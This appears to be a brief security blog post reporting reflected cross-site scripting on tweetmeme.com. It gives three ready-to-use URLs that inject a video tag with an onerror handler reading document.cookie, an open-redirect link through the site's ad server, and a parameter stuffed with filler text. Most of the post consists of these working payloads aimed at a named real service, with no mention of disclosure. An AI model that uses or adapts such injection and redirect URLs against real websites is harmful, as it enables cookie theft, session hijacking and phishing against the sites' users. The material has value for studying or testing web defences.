http://tweetmeme.com | XSS

while subscribing to utest.com i've found this simple xss on twetmeme.com (a service that they use to tweet ... I suppose).
funny .... ?

XSS ( no checks/sanitizing ... nothing)
http://tweetmeme.com/popup/option?url_id=984607153&source=utest&service=bit.ly.%22>%3Cvideo src=1 onerror=alert(document.cookie) >

http://tweetmeme.com/popup/option?url_id=984607153&source=utest%22%3E%3Cvideo%20src=1%20onerror=alert(document.cookie)%20%3E&service=bit.ly

http://tweetmeme.com/popup/option?url_id=984607153%22%3E%3Cvideo%20src=1%20onerror=alert(document.cookie)%20%3E&source=utest&service=bit.ly

redirecting anywhere
http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=135&nurl=http://www.google.com

spammy
http://blog.tweetmeme.com/?s=.&feed=Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc sit amet elit turpis. Cras elementum, turpis quis rutrum viverra, dui sapien auctor lorem, sed suscipit dui odio eget ligula. Nunc a sem mauris, a porta tortor. Nunc in varius justo. Praesent venenatis ultrices condimentum. Morbi eget imperdiet ante. Praesent eros metus, pulvinar nec laoreet a, aliquam nec orci. Nunc cursus condimentum lacus, at dictum sapien tincidunt non. Nullam gravida condimentum leo, id porta nibh placerat sit amet. Phasellus sed elit vel quam ornare laoreet.